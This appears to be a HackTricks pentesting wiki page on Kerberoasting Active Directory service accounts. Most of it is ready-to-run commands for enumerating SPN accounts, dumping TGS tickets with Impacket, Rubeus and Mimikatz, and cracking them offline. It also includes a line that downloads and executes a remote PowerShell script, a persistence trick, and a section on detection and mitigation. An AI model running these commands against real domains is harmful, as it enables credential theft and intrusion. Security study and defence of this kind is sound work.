# Kerberoast
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{% endhint %} ## Kerberoast Kerberoasting focuses on the acquisition of **TGS tickets**, specifically those related to services operating under **user accounts** in **Active Directory (AD)**, excluding **computer accounts**. The encryption of these tickets utilizes keys that originate from **user passwords**, allowing for the possibility of **offline credential cracking**. The use of a user account as a service is indicated by a non-empty **"ServicePrincipalName"** property. For executing **Kerberoasting**, a domain account capable of requesting **TGS tickets** is essential; however, this process does not demand **special privileges**, making it accessible to anyone with **valid domain credentials**. ### Key Points: * **Kerberoasting** targets **TGS tickets** for **user-account services** within **AD**. * Tickets encrypted with keys from **user passwords** can be **cracked offline**. * A service is identified by a **ServicePrincipalName** that is not null. * **No special privileges** are needed, just **valid domain credentials**. ### **Attack** {% hint style="warning" %} **Kerberoasting tools** typically request **`RC4 encryption`** when performing the attack and initiating TGS-REQ requests. This is because **RC4 is** [**weaker**](https://www.stigviewer.com/stig/windows\_10/2017-04-28/finding/V-63795) and easier to crack offline using tools such as Hashcat than other encryption algorithms such as AES-128 and AES-256.\ RC4 (type 23) hashes begin with **`$krb5tgs$23$*`** while AES-256(type 18) start with **`$krb5tgs$18$*`**`.` {% endhint %} #### **Linux** ```bash # Metasploit framework msf> use auxiliary/gather/get_user_spns # Impacket GetUserSPNs.py -request -dc-ip / -outputfile hashes.kerberoast # Password will be prompted GetUserSPNs.py -request -dc-ip -hashes : / -outputfile hashes.kerberoast # kerberoast: https://github.com/skelsec/kerberoast kerberoast ldap spn 'ldap+ntlm-password://\:@' -o kerberoastable # 1. Enumerate kerberoastable users kerberoast spnroast 'kerberos+password://\:@' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes ``` Multi-features tools including a dump of kerberoastable users: ```bash # ADenum: https://github.com/SecuProject/ADenum adenum -d -ip -u -p -c ``` #### Windows * **Enumerate Kerberoastable users** ```powershell # Get Kerberoastable users setspn.exe -Q */* #This is a built-in binary. Focus on user accounts Get-NetUser -SPN | select serviceprincipalname #Powerview .\Rubeus.exe kerberoast /stats ``` * **Technique 1: Ask for TGS and dump it from memory** ```powershell #Get TGS in memory from a single user Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local #Get TGSs for ALL kerberoastable accounts (PCs included, not really smart) setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } #List kerberos tickets in memory klist # Extract them from memory Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder # Transform kirbi ticket to john python2.7 kirbi2john.py sqldev.kirbi # Transform john to hashcat sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat ``` * **Technique 2: Automatic tools** ```bash # Powerview: Get Kerberoast hash of a user Request-SPNTicket -SPN "" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local # Powerview: Get all Kerberoast hashes Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation # Rubeus .\Rubeus.exe kerberoast /outfile:hashes.kerberoast .\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins # Invoke-Kerberoast iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast ``` {% hint style="warning" %} When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated. {% endhint %}
\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=kerberoast) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=kerberoast" %} ### Cracking ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` ### Persistence If you have **enough permissions** over a user you can **make it kerberoastable**: ```bash Set-DomainObject -Identity -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose ``` You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast) If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options: * `ntpdate ` - Deprecated as of Ubuntu 16.04 * `rdate -n ` ### Mitigation Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities: * The service name should not be **krbtgt**, as this is a normal request. * Service names ending with **$** should be excluded to avoid including machine accounts used for services. * Requests from machines should be filtered out by excluding account names formatted as **machine@domain**. * Only successful ticket requests should be considered, identified by a failure code of **'0x0'**. * **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks. ```bash Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message ``` To mitigate the risk of Kerberoasting: * Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**. * Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks. By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting. ## Kerberoast w/o domain account In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB\_AS\_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT). The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/). {% hint style="warning" %} You must provide a list of users because we don't have a valid account to query the LDAP using this technique. {% endhint %} #### Linux * [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413): ```bash GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/ ``` #### Windows * [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139): ```bash Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE" ``` ## References * [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) * [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting) * [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %}
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